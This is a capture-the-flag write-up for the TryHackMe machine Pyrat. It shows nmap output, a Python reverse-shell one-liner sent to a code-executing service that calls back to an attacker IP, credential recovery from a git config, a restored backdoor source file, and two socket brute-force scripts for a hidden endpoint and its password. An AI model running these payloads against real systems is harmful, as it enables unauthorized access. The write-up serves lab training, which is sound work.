Post

Pyrat

Writeup for the TryHackMe machine Pyrat

Pyrat

Recon

nmap

nmap finds two open ports: SHH (22) and HTTP (8000).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

HTTP - TCP 8000

Accessing the web server returns the message: Try a more basic connection!.

Shell as www-data

Connecting via nc:

1
2
3
4
5
6
$ nc -v pyrat.thm 8000
pyrat.thm [10.10.100.146] 8000 (?) open
'
EOL while scanning string literal (<string>, line 1)
print('hello world')
hello world

The output suggests that the input is being executed as Python code. Since the Server header indicates Python is being used, I send a reverse shell one-liner:

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.x.x.x",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")

Shell as think

The file /opt/dev/.git/config contains the password for the user think. I use this password to SSH into the machine as think.

Shell as root

Inspecting the Git repository shows that a file was deleted. I recover it:

1
2
3
4
5
6
7
8
9
think@Pyrat:/opt/dev$ git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    pyrat.py.old

no changes added to commit (use "git add" and/or "git commit -a")
think@Pyrat:/opt/dev$ git restore pyrat.py.old
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...............................................

def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0):
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e

...............................................

The code suggests a hidden admin endpoint that allows shell access. I write a script to brute-force the endpoint name:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket
import sys

if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} <wordlist>")
    exit()
    
with open(sys.argv[1]) as f:
    endpoints = [line for line in f.read().splitlines() if line and not line.startswith("#")]
    
for endpoint in endpoints:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(("pyrat.thm", 8000))
        s.sendall(endpoint.encode() + b"\n")
        resp = s.recv(1024).decode()
        if "is not defined" not in resp:
            print(endpoint)

Once the correct endpoint is found, it prompts for a password. I brute-force that next:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket
import sys

if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} <wordlist>")
    exit()
    
with open(sys.argv[1]) as f:
    passwords = [line for line in f.read().splitlines() if line and not line.startswith("#")]
    
for password in passwords:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(("pyrat.thm", 8000))
        s.sendall(b"<REDACTED>\n") # send endpoint
        s.recv(1024) # receive password prompt
        s.sendall(password.encode() + b"\n")
        resp = s.recv(1024).decode()
        if "Password:" not in resp:
            print(password)
            break

Using the discovered password and endpoint, I gain a root shell.

This post is licensed under CC BY 4.0 by the author.